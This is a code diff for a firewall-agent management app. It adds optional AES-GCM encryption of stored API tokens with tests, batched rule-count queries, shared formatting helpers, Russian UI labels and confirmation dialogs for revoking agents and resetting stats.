const allBody = all.json() as { items: unknown[]; total: number }
|
||||
expect(allBody.items.length).toBe(allBody.total)
|
||||
|
||||
const page = await app.inject({
|
||||
method: 'GET',
|
||||
url: '/api/v1/agents?limit=1&offset=1',
|
||||
})
|
||||
const pageBody = page.json() as { items: unknown[]; total: number }
|
||||
expect(pageBody.items).toHaveLength(1)
|
||||
expect(pageBody.total).toBe(allBody.total)
|
||||
|
||||
const lists = await app.inject({
|
||||
method: 'GET',
|
||||
url: '/api/v1/lists?limit=1',
|
||||
})
|
||||
const listsBody = lists.json() as { items: unknown[]; total: number }
|
||||
expect(listsBody.items).toHaveLength(1)
|
||||
expect(listsBody.total).toBeGreaterThanOrEqual(1)
|
||||
})
|
||||
})
|
||||
@@ -67,6 +67,21 @@ export function mapPolicySets(
|
||||
export function mapPolicyRule(
|
||||
r: NonNullable<ReturnType<typeof repos.getPolicyRule>>,
|
||||
db: Parameters<typeof repos.listResolvedForRule>[0],
|
||||
) {
|
||||
return mapPolicyRuleWithCounts(r, r.hostname ? countResolved(db, [r.id]).get(r.id) ?? 0 : undefined)
|
||||
}
|
||||
|
||||
function countResolved(
|
||||
db: Parameters<typeof repos.listResolvedForRule>[0],
|
||||
ruleIds: string[],
|
||||
): Map<string, number> {
|
||||
const cidrs = repos.mapResolvedCidrsByRuleIds(db, ruleIds)
|
||||
return new Map([...cidrs].map(([id, list]) => [id, list.length]))
|
||||
}
|
||||
|
||||
function mapPolicyRuleWithCounts(
|
||||
r: NonNullable<ReturnType<typeof repos.getPolicyRule>>,
|
||||
resolvedCount: number | undefined,
|
||||
) {
|
||||
return {
|
||||
id: r.id,
|
||||
@@ -77,11 +92,23 @@ export function mapPolicyRule(
|
||||
list_id: r.listId,
|
||||
cidr: r.cidr,
|
||||
hostname: r.hostname,
|
||||
resolved_count: r.hostname
|
||||
? repos.listResolvedForRule(db, r.id).length
|
||||
: undefined,
|
||||
resolved_count: resolvedCount,
|
||||
comment: r.comment,
|
||||
created_at: r.createdAt,
|
||||
updated_at: r.updatedAt,
|
||||
}
|
||||
}
|
||||
|
||||
/** Batched variant for list endpoints: one resolved-counts query for all rules. */
|
||||
export function mapPolicyRules(
|
||||
rules: NonNullable<ReturnType<typeof repos.getPolicyRule>>[],
|
||||
db: Parameters<typeof repos.listResolvedForRule>[0],
|
||||
) {
|
||||
const counts = countResolved(
|
||||
db,
|
||||
rules.filter((r) => r.hostname).map((r) => r.id),
|
||||
)
|
||||
return rules.map((r) =>
|
||||
mapPolicyRuleWithCounts(r, r.hostname ? counts.get(r.id) ?? 0 : undefined),
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
import { describe, it, expect, afterEach } from 'vitest'
|
||||
import {
|
||||
encryptSecret,
|
||||
decryptSecret,
|
||||
isEncryptedSecret,
|
||||
sealListConfig,
|
||||
maskListConfig,
|
||||
} from './secret-cipher.js'
|
||||
|
||||
const ORIGINAL_KEY = process.env.EVOFW_SECRET_KEY
|
||||
|
||||
afterEach(() => {
|
||||
if (ORIGINAL_KEY === undefined) delete process.env.EVOFW_SECRET_KEY
|
||||
else process.env.EVOFW_SECRET_KEY = ORIGINAL_KEY
|
||||
})
|
||||
|
||||
describe('secret-cipher', () => {
|
||||
it('passes values through when no key is configured', () => {
|
||||
delete process.env.EVOFW_SECRET_KEY
|
||||
expect(encryptSecret('plain')).toBe('plain')
|
||||
expect(decryptSecret('plain')).toBe('plain')
|
||||
expect(isEncryptedSecret('plain')).toBe(false)
|
||||
})
|
||||
|
||||
it('encrypts and decrypts when EVOFW_SECRET_KEY is set', () => {
|
||||
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
|
||||
const enc = encryptSecret('super-secret-token')
|
||||
expect(enc).not.toContain('super-secret-token')
|
||||
expect(enc.startsWith('enc:v1:')).toBe(true)
|
||||
expect(decryptSecret(enc)).toBe('super-secret-token')
|
||||
// already-encrypted values are not double-encrypted
|
||||
expect(encryptSecret(enc)).toBe(enc)
|
||||
})
|
||||
|
||||
it('returns null for encrypted values when the key is missing or wrong', () => {
|
||||
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
|
||||
const enc = encryptSecret('super-secret-token')
|
||||
delete process.env.EVOFW_SECRET_KEY
|
||||
expect(decryptSecret(enc)).toBeNull()
|
||||
process.env.EVOFW_SECRET_KEY = 'other-key-other-key-other-key!'
|
||||
expect(decryptSecret(enc)).toBeNull()
|
||||
})
|
||||
|
||||
it('seals and masks list config api_token', () => {
|
||||
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
|
||||
const sealed = sealListConfig({
|
||||
api_url: 'https://bgp.example.com',
|
||||
api_token: 'super-secret-token',
|
||||
community_id: 'abc',
|
||||
})
|
||||
expect(sealed).not.toContain('super-secret-token')
|
||||
const parsed = JSON.parse(sealed) as { api_token: string }
|
||||
expect(decryptSecret(parsed.api_token)).toBe('super-secret-token')
|
||||
|
||||
const masked = maskListConfig(sealed)
|
||||
expect(masked).toContain('********')
|
||||
expect(masked).not.toContain('enc:v1:')
|
||||
|
||||
// configs without tokens pass through untouched
|
||||
expect(maskListConfig('{"api_url":"https://x"}')).toBe(
|
||||
'{"api_url":"https://x"}',
|
||||
)
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,86 @@
|
||||
import {
|
||||
createCipheriv,
|
||||
createDecipheriv,
|
||||
randomBytes,
|
||||
scryptSync,
|
||||
} from 'node:crypto'
|
||||
|
||||
/**
|
||||
* Optional at-rest encryption for secrets stored in the DB (EvoBGP API
|
||||
* token). Active only when EVOFW_SECRET_KEY is set; without it values are
|
||||
* stored as before (plaintext) so existing deployments keep working.
|
||||
*
|
||||
* Format: enc:v1:<saltB64>:<ivB64>:<tagB64>:<dataB64>, AES-256-GCM with a
|
||||
* scrypt-derived per-value key.
|
||||
*/
|
||||
|
||||
const PREFIX = 'enc:v1:'
|
||||
|
||||
function deriveKey(secret: string, salt: Buffer): Buffer {
|
||||
return scryptSync(secret, salt, 32)
|
||||
}
|
||||
|
||||
export function isEncryptedSecret(value: string): boolean {
|
||||
return value.startsWith(PREFIX)
|
||||
}
|
||||
|
||||
export function encryptSecret(value: string): string {
|
||||
const secret = process.env.EVOFW_SECRET_KEY?.trim()
|
||||
if (!secret || !value || isEncryptedSecret(value)) return value
|
||||
const salt = randomBytes(16)
|
||||
const iv = randomBytes(12)
|
||||
const cipher = createCipheriv('aes-256-gcm', deriveKey(secret, salt), iv)
|
||||
const data = Buffer.concat([cipher.update(value, 'utf8'), cipher.final()])
|
||||
const tag = cipher.getAuthTag()
|
||||
const payload = [salt, iv, tag, data]
|
||||
.map((b) => b.toString('base64'))
|
||||
.join(':')
|
||||
return `${PREFIX}${payload}`
|
||||
}
|
||||
|
||||
/**
|
||||
* Decrypt an encrypted secret; returns plaintext secrets untouched. Returns
|
||||
* null for encrypted values that cannot be decrypted (key missing/rotated)
|
||||
* so callers can treat the secret as unset instead of sending garbage.
|
||||
*/
|
||||
export function decryptSecret(value: string | null | undefined): string | null {
|
||||
if (!value) return null
|
||||
if (!isEncryptedSecret(value)) return value
|
||||
const secret = process.env.EVOFW_SECRET_KEY?.trim()
|
||||
if (!secret) return null
|
||||
const parts = value.split(':')
|
||||
if (parts.length !== 6) return null
|
||||
try {
|
||||
const salt = Buffer.from(parts[2]!, 'base64')
|
||||
const iv = Buffer.from(parts[3]!, 'base64')
|
||||
const tag = Buffer.from(parts[4]!, 'base64')
|
||||
const data = Buffer.from(parts[5]!, 'base64')
|
||||
const decipher = createDecipheriv('aes-256-gcm', deriveKey(secret, salt), iv)
|
||||
decipher.setAuthTag(tag)
|
||||
return Buffer.concat([decipher.update(data), decipher.final()]).toString('utf8')
|
||||
} catch {
|
||||
return null
|
||||
}
|
||||
}
|
||||
|
||||
/** Encrypt secrets inside a list config before persisting it. */
|
||||
export function sealListConfig(config: Record<string, unknown>): string {
|
||||
if (typeof config.api_token === 'string' && config.api_token) {
|
||||
config = { ...config, api_token: encryptSecret(config.api_token) }
|
||||
}
|
||||
return JSON.stringify(config)
|
||||
}
|
||||
|
||||
/** Mask secrets inside a list config before returning it to clients. */
|
||||
export function maskListConfig(configJson: string): string {
|
||||
if (!configJson.includes('api_token')) return configJson
|
||||
try {
|
||||
const config = JSON.parse(configJson) as Record<string, unknown>
|
||||
if (typeof config.api_token === 'string' && config.api_token) {
|
||||
config.api_token = '********'
|
||||
}
|
||||
return JSON.stringify(config)
|
||||
} catch {
|
||||
return configJson
|
||||
}
|
||||
}
|
||||
@@ -15,6 +15,10 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
authAuditIngestSecret: null,
|
||||
secretKey: null,
|
||||
statsRetentionDays: 30,
|
||||
}
|
||||
|
||||
describe('settings + bumpAgentsForList', () => {
|
||||
|
||||
Whitespace-only changes.
@@ -7,6 +7,7 @@
|
||||
"dev": "vite",
|
||||
"build": "vite build",
|
||||
"typecheck": "tsc --noEmit",
|
||||
"test": "vitest run",
|
||||
"preview": "vite preview"
|
||||
},
|
||||
"dependencies": {
|
||||
@@ -25,6 +26,8 @@
|
||||
"@tanstack/react-virtual": "^3.14.7",
|
||||
"@tanstack/router-plugin": "^1.120.0",
|
||||
"class-variance-authority": "^0.7.1",
|
||||
"cmdk": "^1.1.1",
|
||||
"cn": "^0.4.0",
|
||||
"date-fns": "^4.4.0",
|
||||
"lucide-react": "^0.468.0",
|
||||
"next-themes": "^0.4.6",
|
||||
|
||||
@@ -19,6 +19,7 @@ import { DataGridTable } from '@/components/reui/data-grid/data-grid-table'
|
||||
import { EmptyState } from '@/components/empty-state'
|
||||
import { agentBlockedIpsQueryOptions } from '@/queries'
|
||||
import { Skeleton } from '@evofw/ui/components/skeleton'
|
||||
import { formatNumber, formatStampDateTime } from '@/lib/format'
|
||||
|
||||
/**
|
||||
* Per-IP blocked stats — Linux nft/ipset counters or MikroTik EVOFW_HITS.
|
||||
@@ -45,21 +46,6 @@ type AgentBlockedIpsProps = {
|
||||
platform: string
|
||||
}
|
||||
|
||||
const packetFmt = new Intl.NumberFormat('ru-RU')
|
||||
const seenFmt = new Intl.DateTimeFormat('ru-RU', {
|
||||
day: '2-digit',
|
||||
month: '2-digit',
|
||||
year: 'numeric',
|
||||
hour: '2-digit',
|
||||
minute: '2-digit',
|
||||
second: '2-digit',
|
||||
})
|
||||
|
||||
function formatSeen(iso: string): string {
|
||||
const t = Date.parse(iso)
|
||||
if (Number.isNaN(t)) return '—'
|
||||
return seenFmt.format(t)
|
||||
}
|
||||
|
||||
function formatPorts(ports: BlockedIpPort[] | undefined): string {
|
||||
if (!ports?.length) return '—'
|
||||
@@ -99,7 +85,7 @@ export function AgentBlockedIps({ agentId, platform }: AgentBlockedIpsProps) {
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="tabular-nums">
|
||||
{packetFmt.format(row.original.packets)}
|
||||
{formatNumber(row.original.packets)}
|
||||
</span>
|
||||
),
|
||||
meta: { headerTitle: packetsTitle },
|
||||
@@ -128,7 +114,7 @@ export function AgentBlockedIps({ agentId, platform }: AgentBlockedIpsProps) {
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="text-muted-foreground text-xs tabular-nums">
|
||||
{formatSeen(row.original.last_seen_at)}
|
||||
{formatStampDateTime(row.original.last_seen_at)}
|
||||
</span>
|
||||
),
|
||||
meta: { headerTitle: 'Last seen' },
|
||||
|
||||
@@ -19,6 +19,7 @@ import { DataGridTable } from '@/components/reui/data-grid/data-grid-table'
|
||||
import { EmptyState } from '@/components/empty-state'
|
||||
import { agentBlockedPortsQueryOptions } from '@/queries'
|
||||
import { Skeleton } from '@evofw/ui/components/skeleton'
|
||||
import { formatNumber, formatStampDateTime } from '@/lib/format'
|
||||
|
||||
/**
|
||||
* Aggregate destination ports hit by denied sources (Linux nft).
|
||||
@@ -37,21 +38,6 @@ type AgentBlockedPortsProps = {
|
||||
agentId: string
|
||||
}
|
||||
|
||||
const packetFmt = new Intl.NumberFormat('ru-RU')
|
||||
const seenFmt = new Intl.DateTimeFormat('ru-RU', {
|
||||
day: '2-digit',
|
||||
month: '2-digit',
|
||||
year: 'numeric',
|
||||
hour: '2-digit',
|
||||
minute: '2-digit',
|
||||
second: '2-digit',
|
||||
})
|
||||
|
||||
function formatSeen(iso: string): string {
|
||||
const t = Date.parse(iso)
|
||||
if (Number.isNaN(t)) return '—'
|
||||
return seenFmt.format(t)
|
||||
}
|
||||
|
||||
export function AgentBlockedPorts({ agentId }: AgentBlockedPortsProps) {
|
||||
const q = useQuery(agentBlockedPortsQueryOptions(agentId))
|
||||
@@ -92,7 +78,7 @@ export function AgentBlockedPorts({ agentId }: AgentBlockedPortsProps) {
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="tabular-nums">
|
||||
{packetFmt.format(row.original.packets)}
|
||||
{formatNumber(row.original.packets)}
|
||||
</span>
|
||||
),
|
||||
meta: { headerTitle: 'Packets' },
|
||||
@@ -105,7 +91,7 @@ export function AgentBlockedPorts({ agentId }: AgentBlockedPortsProps) {
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="text-muted-foreground text-xs tabular-nums">
|
||||
{formatSeen(row.original.last_seen_at)}
|
||||
{formatStampDateTime(row.original.last_seen_at)}
|
||||
</span>
|
||||
),
|
||||
meta: { headerTitle: 'Last seen' },
|
||||
|
||||
@@ -1,9 +1,14 @@
|
||||
import type { Agent } from '@evofw/shared'
|
||||
import { Trash2 } from 'lucide-react'
|
||||
import {
|
||||
MoreVerticalIcon,
|
||||
PanelRight,
|
||||
Trash2,
|
||||
} from 'lucide-react'
|
||||
import {
|
||||
AgentPlatformIcon,
|
||||
platformLabel,
|
||||
} from '@/components/agents/agent-platform-icon'
|
||||
import { AgentOnlineDot } from '@/components/agents/agent-online-dot'
|
||||
import {
|
||||
agentHasTrafficSample,
|
||||
agentTrafficAccepted,
|
||||
@@ -13,6 +18,13 @@ import { StatusBadge } from '@/components/status-badge'
|
||||
import { Badge } from '@/components/reui/badge'
|
||||
import { Frame, FramePanel } from '@/components/reui/frame'
|
||||
import { Button } from '@evofw/ui/components/button'
|
||||
import {
|
||||
DropdownMenu,
|
||||
DropdownMenuContent,
|
||||
DropdownMenuItem,
|
||||
DropdownMenuSeparator,
|
||||
DropdownMenuTrigger,
|
||||
} from '@evofw/ui/components/dropdown-menu'
|
||||
import {
|
||||
Item,
|
||||
ItemContent,
|
||||
@@ -21,36 +33,13 @@ import {
|
||||
} from '@evofw/ui/components/item'
|
||||
import { Separator } from '@evofw/ui/components/separator'
|
||||
import { cn } from '@evofw/ui/lib/utils'
|
||||
import { formatPackets, formatRelativeTime } from '@/lib/format'
|
||||
|
||||
/**
|
||||
* Agent catalog card — hybrid card-3 header + stats strip + stats-12 values.
|
||||
* Preview: https://reui.io/preview/base/card-3 · https://reui.io/preview/base/stats-12
|
||||
*/
|
||||
|
||||
const packetFmt = new Intl.NumberFormat('ru-RU', {
|
||||
notation: 'compact',
|
||||
maximumFractionDigits: 1,
|
||||
})
|
||||
|
||||
const seenFmt = new Intl.DateTimeFormat('ru-RU', {
|
||||
day: '2-digit',
|
||||
month: '2-digit',
|
||||
hour: '2-digit',
|
||||
minute: '2-digit',
|
||||
})
|
||||
|
||||
function formatPackets(n: number | undefined, hasApply: boolean): string {
|
||||
if (!hasApply || n === undefined) return '—'
|
||||
return packetFmt.format(n)
|
||||
}
|
||||
|
||||
function formatShort(iso: string | null | undefined): string {
|
||||
if (!iso) return '—'
|
||||
const t = Date.parse(iso)
|
||||
if (Number.isNaN(t)) return '—'
|
||||
return seenFmt.format(t)
|
||||
}
|
||||
|
||||
type AgentCardProps = {
|
||||
agent: Agent
|
||||
selected?: boolean
|
||||
@@ -65,26 +54,28 @@ export function AgentCard({
|
||||
onDelete,
|
||||
}: AgentCardProps) {
|
||||
const hasApply = agentHasTrafficSample(agent)
|
||||
const dropped = formatPackets(agentTrafficDropped(agent), hasApply)
|
||||
const accepted = formatPackets(agentTrafficAccepted(agent), hasApply)
|
||||
const dropped = hasApply ? formatPackets(agentTrafficDropped(agent)) : '—'
|
||||
const accepted = hasApply ? formatPackets(agentTrafficAccepted(agent)) : '—'
|
||||
const traffic =
|
||||
dropped === '—' && accepted === '—'
|
||||
? '—'
|
||||
: `↓${dropped} · ↑${accepted}`
|
||||
const seen = formatShort(agent.last_seen_at ?? agent.last_apply_at)
|
||||
const seen = formatRelativeTime(
|
||||
agent.last_seen_at ?? agent.last_apply_at,
|
||||
)
|
||||
const defaultAction =
|
||||
agent.default_action === 'drop' ? 'Drop' : 'Accept'
|
||||
agent.default_action === 'drop' ? 'Блокировать' : 'Пропускать'
|
||||
const subtitle = [
|
||||
agent.hostname,
|
||||
platformLabel(agent.platform),
|
||||
`gen ${agent.policy_generation}`,
|
||||
`поколение ${agent.policy_generation}`,
|
||||
]
|
||||
.filter(Boolean)
|
||||
.join(' · ')
|
||||
|
||||
const stats = [
|
||||
{
|
||||
label: 'Traffic',
|
||||
label: 'Трафик',
|
||||
value: traffic,
|
||||
valueClass:
|
||||
traffic === '—'
|
||||
@@ -102,7 +93,7 @@ export function AgentCard({
|
||||
),
|
||||
},
|
||||
{
|
||||
label: 'Seen',
|
||||
label: 'Активность',
|
||||
value: seen,
|
||||
valueClass: 'text-muted-foreground',
|
||||
valueNode: seen,
|
||||
@@ -114,6 +105,7 @@ export function AgentCard({
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => onSelect(agent.id)}
|
||||
aria-label={`Открыть агента ${agent.name}`}
|
||||
className={cn(
|
||||
'w-full text-left outline-none',
|
||||
'focus-visible:ring-ring rounded-[calc(var(--frame-radius)+2px)] focus-visible:ring-2 focus-visible:ring-offset-2',
|
||||
@@ -136,7 +128,10 @@ export function AgentCard({
|
||||
<h3 className="truncate text-sm leading-tight font-semibold">
|
||||
{agent.name}
|
||||
</h3>
|
||||
<StatusBadge status={agent.status} />
|
||||
<span className="flex items-center gap-1.5">
|
||||
<AgentOnlineDot agent={agent} />
|
||||
<StatusBadge status={agent.status} />
|
||||
</span>
|
||||
<Badge
|
||||
variant={
|
||||
agent.default_action === 'drop'
|
||||
@@ -196,16 +191,35 @@ export function AgentCard({
|
||||
</FramePanel>
|
||||
</Frame>
|
||||
</button>
|
||||
<Button
|
||||
type="button"
|
||||
size="icon-sm"
|
||||
variant="ghost"
|
||||
className="text-destructive absolute top-3 right-3 z-10"
|
||||
aria-label="Удалить"
|
||||
onClick={() => onDelete(agent.id)}
|
||||
>
|
||||
<Trash2 className="size-3.5" />
|
||||
</Button>
|
||||
<DropdownMenu>
|
||||
<DropdownMenuTrigger
|
||||
render={
|
||||
<Button
|
||||
type="button"
|
||||
size="icon-sm"
|
||||
variant="ghost"
|
||||
className="absolute top-3 right-3 z-10"
|
||||
aria-label={`Действия с агентом ${agent.name}`}
|
||||
/>
|
||||
}
|
||||
>
|
||||
<MoreVerticalIcon className="size-3.5" />
|
||||
</DropdownMenuTrigger>
|
||||
<DropdownMenuContent align="end">
|
||||
<DropdownMenuItem onClick={() => onSelect(agent.id)}>
|
||||
<PanelRight className="size-4" />
|
||||
Открыть
|
||||
</DropdownMenuItem>
|
||||
<DropdownMenuSeparator />
|
||||
<DropdownMenuItem
|
||||
variant="destructive"
|
||||
onClick={() => onDelete(agent.id)}
|
||||
>
|
||||
<Trash2 className="size-4" />
|
||||
Удалить
|
||||
</DropdownMenuItem>
|
||||
</DropdownMenuContent>
|
||||
</DropdownMenu>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -21,10 +21,8 @@ import {
|
||||
} from '@/components/reui/alert'
|
||||
import { Badge } from '@/components/reui/badge'
|
||||
import { StatusBadge } from '@/components/status-badge'
|
||||
import {
|
||||
AgentPlatformIcon,
|
||||
platformLabel,
|
||||
} from '@/components/agents/agent-platform-icon'
|
||||
import { AgentPlatformIcon, platformLabel } from '@/components/agents/agent-platform-icon'
|
||||
import { AgentOnlineDot } from '@/components/agents/agent-online-dot'
|
||||
import {
|
||||
agentTrafficAccepted,
|
||||
agentTrafficDropped,
|
||||
@@ -38,6 +36,7 @@ import { AgentBlockedPorts } from '@/components/agents/agent-blocked-ports'
|
||||
import { AgentHostFirewall } from '@/components/agents/agent-host-firewall'
|
||||
import { AgentPortAcl } from '@/components/agents/agent-port-acl'
|
||||
import { CountedLineTabs } from '@/components/counted-line-tabs'
|
||||
import { ConfirmDialog } from '@/components/confirm-dialog'
|
||||
import {
|
||||
AgentCloneSetsSheet,
|
||||
AgentOverrideSheet,
|
||||
@@ -47,6 +46,7 @@ import {
|
||||
agentQueryOptions,
|
||||
} from '@/queries'
|
||||
import { apiFetch } from '@/lib/api'
|
||||
import { formatDateTime, formatRelativeTime } from '@/lib/format'
|
||||
import { useCopyToClipboard } from '@/hooks/use-copy-to-clipboard'
|
||||
import { Button } from '@evofw/ui/components/button'
|
||||
import { Skeleton } from '@evofw/ui/components/skeleton'
|
||||
@@ -79,6 +79,8 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
|
||||
const installRef = useRef<HTMLDivElement>(null)
|
||||
const [overrideOpen, setOverrideOpen] = useState(false)
|
||||
const [cloneOpen, setCloneOpen] = useState(false)
|
||||
const [revokeOpen, setRevokeOpen] = useState(false)
|
||||
const [resetStatsOpen, setResetStatsOpen] = useState(false)
|
||||
const [fwTab, setFwTab] = useState('host')
|
||||
|
||||
const revoke = useMutation({
|
||||
@@ -111,7 +113,7 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
|
||||
void qc.invalidateQueries({ queryKey: ['agents', agentId, 'stats'] })
|
||||
void qc.invalidateQueries({ queryKey: ['agents', agentId, 'blocked-ips'] })
|
||||
void qc.invalidateQueries({ queryKey: ['agents', agentId, 'blocked-ports'] })
|
||||
void qc.invalidateQueries({ queryKey: ['stats'] })
|
||||
void qc.invalidateQueries({ queryKey: ['stats-recent'] })
|
||||
void qc.invalidateQueries({ queryKey: ['dashboard'] })
|
||||
},
|
||||
onError: (e: Error) => toast.error(e.message),
|
||||
@@ -135,8 +137,19 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
|
||||
<Alert variant="destructive">
|
||||
<CircleAlertIcon />
|
||||
<AlertTitle>Ошибка загрузки</AlertTitle>
|
||||
<AlertDescription>
|
||||
{agentQ.error?.message ?? 'Не удалось загрузить агента'}
|
||||
<AlertDescription className="flex flex-col gap-2">
|
||||
<span>
|
||||
{agentQ.error?.message ?? 'Не удалось загрузить агента'}
|
||||
</span>
|
||||
<Button
|
||||
type="button"
|
||||
variant="outline"
|
||||
size="sm"
|
||||
className="w-fit"
|
||||
onClick={() => void agentQ.refetch()}
|
||||
>
|
||||
Повторить
|
||||
</Button>
|
||||
</AlertDescription>
|
||||
</Alert>
|
||||
</div>
|
||||
@@ -146,8 +159,8 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
|
||||
const headerDesc = [
|
||||
a.hostname,
|
||||
platformLabel(a.platform),
|
||||
`gen ${a.policy_generation}`,
|
||||
a.default_action === 'drop' ? 'default Drop' : 'default Accept',
|
||||
`поколение ${a.policy_generation}`,
|
||||
a.default_action === 'drop' ? 'по умолчанию: блокировать' : 'по умолчанию: пропускать',
|
||||
]
|
||||
.filter(Boolean)
|
||||
.join(' · ')
|
||||
@@ -162,7 +175,10 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
|
||||
actions={
|
||||
<>
|
||||
<AgentPlatformIcon platform={a.platform} />
|
||||
<StatusBadge status={a.status} />
|
||||
<span className="flex items-center gap-1.5">
|
||||
<AgentOnlineDot agent={a} />
|
||||
<StatusBadge status={a.status} />
|
||||
</span>
|
||||
<Badge
|
||||
variant={
|
||||
a.default_action === 'drop'
|
||||
@@ -180,17 +196,17 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
|
||||
onClick={() => approve.mutate()}
|
||||
disabled={approve.isPending}
|
||||
>
|
||||
Approve
|
||||
Утвердить
|
||||
</Button>
|
||||
) : null}
|
||||
{a.status === 'approved' ? (
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
onClick={() => revoke.mutate()}
|
||||
onClick={() => setRevokeOpen(true)}
|
||||
disabled={revoke.isPending}
|
||||
>
|
||||
Revoke
|
||||
Отозвать
|
||||
</Button>
|
||||
) : null}
|
||||
{a.install_curl ? (
|
||||
@@ -199,11 +215,11 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
|
||||
size="sm"
|
||||
onClick={() => {
|
||||
copyToClipboard(a.install_curl!)
|
||||
toast.success('Скопировано')
|
||||
toast.success('Команда установки скопирована')
|
||||
}}
|
||||
>
|
||||
<Copy data-icon="inline-start" />
|
||||
Install
|
||||
Установка
|
||||
</Button>
|
||||
) : null}
|
||||
<DropdownMenu>
|
||||
@@ -231,14 +247,14 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
|
||||
<DropdownMenuItem
|
||||
onClick={() => {
|
||||
copyToClipboard(a.install_curl!)
|
||||
toast.success('Скопировано')
|
||||
toast.success('Команда установки скопирована')
|
||||
installRef.current?.scrollIntoView({
|
||||
behavior: 'smooth',
|
||||
})
|
||||
}}
|
||||
>
|
||||
<TerminalIcon className="size-4" />
|
||||
Install curl
|
||||
Команда установки
|
||||
</DropdownMenuItem>
|
||||
) : null}
|
||||
{onDelete ? (
|
||||
@@ -262,7 +278,7 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
|
||||
{a.last_apply_error ? (
|
||||
<Alert variant="destructive">
|
||||
<CircleAlertIcon />
|
||||
<AlertTitle>Ошибка apply</AlertTitle>
|
||||
<AlertTitle>Ошибка применения политики</AlertTitle>
|
||||
<AlertDescription>{a.last_apply_error}</AlertDescription>
|
||||
</Alert>
|
||||
) : null}
|
||||
@@ -273,7 +289,7 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
|
||||
id: 'traffic',
|
||||
icon: <ActivityIcon aria-hidden />,
|
||||
iconClassName: 'text-warning',
|
||||
label: 'Traffic',
|
||||
label: 'Трафик',
|
||||
description: `↓${agentTrafficDropped(a)} · ↑${agentTrafficAccepted(a)}`,
|
||||
hint: 'накопительно',
|
||||
variant: 'warning',
|
||||
@@ -283,7 +299,7 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
|
||||
size="sm"
|
||||
variant="outline"
|
||||
disabled={resetStats.isPending}
|
||||
onClick={() => resetStats.mutate()}
|
||||
onClick={() => setResetStatsOpen(true)}
|
||||
>
|
||||
Сбросить
|
||||
</Button>
|
||||
@@ -293,15 +309,18 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
|
||||
id: 'kernel',
|
||||
icon: <CpuIcon aria-hidden />,
|
||||
iconClassName: 'text-info',
|
||||
label: 'Kernel',
|
||||
label: 'Ядро',
|
||||
description: a.last_apply_kernel_method ?? '—',
|
||||
},
|
||||
{
|
||||
id: 'apply',
|
||||
icon: <ClockIcon aria-hidden />,
|
||||
iconClassName: 'text-primary',
|
||||
label: 'Last apply',
|
||||
description: a.last_apply_at ?? '—',
|
||||
label: 'Последнее применение',
|
||||
description: formatDateTime(a.last_apply_at),
|
||||
hint: a.last_apply_at
|
||||
? formatRelativeTime(a.last_apply_at)
|
||||
: undefined,
|
||||
},
|
||||
]}
|
||||
/>
|
||||
@@ -333,9 +352,9 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
|
||||
value={fwTab}
|
||||
onValueChange={setFwTab}
|
||||
tabs={[
|
||||
{ id: 'host', label: 'Host firewall' },
|
||||
{ id: 'acl', label: 'Port ACL' },
|
||||
{ id: 'hits', label: 'Blocked' },
|
||||
{ id: 'host', label: 'Хост-фаервол' },
|
||||
{ id: 'acl', label: 'Правила портов' },
|
||||
{ id: 'hits', label: 'Заблокированное' },
|
||||
]}
|
||||
>
|
||||
<TabsContent value="host" className="mt-3">
|
||||
@@ -374,6 +393,32 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
|
||||
open={cloneOpen}
|
||||
onOpenChange={setCloneOpen}
|
||||
/>
|
||||
|
||||
<ConfirmDialog
|
||||
open={revokeOpen}
|
||||
onOpenChange={setRevokeOpen}
|
||||
title="Отозвать агента?"
|
||||
confirmLabel="Отозвать"
|
||||
description={`Агент «${a.name}» потеряет доступ к API управления и перестанет получать обновления политики. Действие нельзя отменить.`}
|
||||
onConfirm={() => {
|
||||
setRevokeOpen(false)
|
||||
revoke.mutate()
|
||||
}}
|
||||
disabled={revoke.isPending}
|
||||
/>
|
||||
|
||||
<ConfirmDialog
|
||||
open={resetStatsOpen}
|
||||
onOpenChange={setResetStatsOpen}
|
||||
title="Сбросить статистику?"
|
||||
confirmLabel="Сбросить"
|
||||
description={`Счётчики пакетов и история статистики агента «${a.name}» будут обнулены и удалены. Действие нельзя отменить.`}
|
||||
onConfirm={() => {
|
||||
setResetStatsOpen(false)
|
||||
resetStats.mutate()
|
||||
}}
|
||||
disabled={resetStats.isPending}
|
||||
/>
|
||||
</>
|
||||
)
|
||||
}
|
||||
@@ -18,6 +18,7 @@ import {
|
||||
SelectValue,
|
||||
} from '@evofw/ui/components/select'
|
||||
import { Separator } from '@evofw/ui/components/separator'
|
||||
import { formatDateTime } from '@/lib/format'
|
||||
|
||||
/**
|
||||
* Agent facts panel — SA3 RunFacts DNA (editable default_action).
|
||||
@@ -31,9 +32,7 @@ type AgentFactsPanelProps = {
|
||||
|
||||
function formatWhen(iso?: string | null): string {
|
||||
